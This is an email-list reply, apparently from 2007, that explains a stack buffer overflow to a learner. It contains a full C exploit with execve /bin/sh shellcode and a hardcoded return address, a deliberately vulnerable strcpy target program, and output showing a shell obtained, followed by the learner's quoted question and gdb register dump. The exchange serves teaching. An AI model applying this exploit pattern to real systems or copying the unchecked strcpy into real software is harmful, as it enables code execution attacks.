Re: understanding buffer overflows

Try this.. it is in C but you shouldn't have problems rewriting it.. =0D
In your example you are overrunning the buffer but you might not be overw=
riting the EIP .. try a bigger buffer =0D
=0D
-- =0D
Best Regards,=0D
=0D
Atanas=0D
=0D
=0D
/*=0D
 Overflow written for:=0D
=0D
 x86 Pentium 4 =0D
 Linux version 2.6.5-7.104-default=0D
 gcc version 3.3.3 =0D
 SuSE Linux=0D
 */=0D
=0D
#include <stdio.h>=0D
#include <stdlib.h>=0D
#include <unistd.h>=0D
#include <string.h>=0D
=0D
=0D
#define MAX_BUF 530=0D
#define RETADDR 0xbffff0c0=0D
=0D
int main()=0D
{=0D
	int i;=0D
=0D
	char shellcode[] =3D=0D
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b=
"=0D
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd=
"=0D
=0D
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";=0D
	=0D
	char buffer[MAX_BUF];=0D
	=0D
	// fill the buffer with the return address=0D
	//the address to be overwritten is 524 bytes from the addr of buffer=0D
	for (i=3D0; i<MAX_BUF; i+=3D4)=0D
=0D
   		*(long *)&buffer[i] =3D RETADDR;=0D
=0D
	memcpy(buffer, shellcode, sizeof(shellcode));=0D
        buffer[sizeof(shellcode)-1]=3D'A'; //take care of an extra 0x00=0D
	=0D
	// I compiled the code provided as "vuln"=0D
=0D
	execlp("./vuln", "vuln", buffer, NULL);=0D
		=0D
	exit(0);=0D
}=0D
	=0D
/*=0D
=0D
 OUTPUT:=0D
=0D
***@localhost:~> ./test =0D
sh-2.05b$ exit=0D
exit=0D
***@localhost:~>=0D
=0D
*/=0D
=0D
OVERFLOWN CODE:=0D
=0D
=0D
#include <stdio.h>=0D
#include <stdlib.h>=0D
#include <string.h>=0D
=0D
int foo (char *input)=0D
{=0D
  char buffer [512];=0D
  =0D
  strcpy(buffer, input);=0D
  =0D
  return (0);=0D
}=0D
=0D
int main (int argc, char * argv[])=0D
=0D
{=0D
  if (argc > 1)=0D
    foo(argv[1]);=0D
  else=0D
    printf("usage: %s string", argv[0]);=0D
 =0D
  exit (0);=0D
}=0D
=0D
- Show quoted text -=0D
=0D
=0D
On 31 Oct 2007 14:36:22 -0000, [email protected] <[email protected]> =
wrote:=0D
=0D
    hello, my name is michael, im from austria - so my english is very ba=
d.=0D
=0D
=0D
    A few days ago i begin to experiment with bufferoverflows in linux.=0D
=0D
=0D
    i wrote a little c++ programm like this:=0D
=0D
=0D
    #include < string.h>=0D
=0D
=0D
    void main()=0D
=0D
    {=0D
=0D
      char buffer[10];=0D
=0D
      char COPY[]=3D"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...";=0D
=0D
    strcpy((char *)buffer,(char *)COPY);=0D
=0D
=0D
    }=0D
=0D
=0D
    k, this works very well, i got a core dump and have startet gdb. but =
in the output from "info all" was eip not overwritten=0D
=0D
=0D
    so i put a few lines in the program to output addresses from function=
s and variables.=0D
=0D
=0D
    addresses from functions where over 0 (eg (dec)500000) and addresses =
from vars under 0 (eg -5000000)=0D
=0D
=0D
    i think this is maybe the problem - but why?=0D
=0D
=0D
    output from gdb:=0D
=0D
=0D
    eax 0x0 0=0D
=0D
    ecx 0x41414141 1094795585=0D
=0D
    edx 0x1d7 471=0D
=0D
    ebx 0xb7e27ff4 -1209892876=0D
=0D
    esp 0x4141413d 0x4141413d=0D
=0D
    ebp 0x41414141 0x41414141=0D
=0D
    esi 0xb7f77ce0 -1208517408=0D
=0D
    edi 0x0 0=0D
=0D
    eip 0x80484ad 0x80484ad=0D
=0D
    eflags 0x210286 [ PF SF IF RF ID ]=0D
=0D
    cs 0x73 115=0D
=0D
    ss 0x7b 123=0D
=0D
    ds 0x7b 123=0D
=0D
    es 0x7b 123=0D
=0D
    fs 0x0 0=0D
=0D
    gs 0x33 51=0D
=0D
=0D
=0D
    hope anybody can help me understand/learn.=0D
=0D
=0D
    greets from austria, michael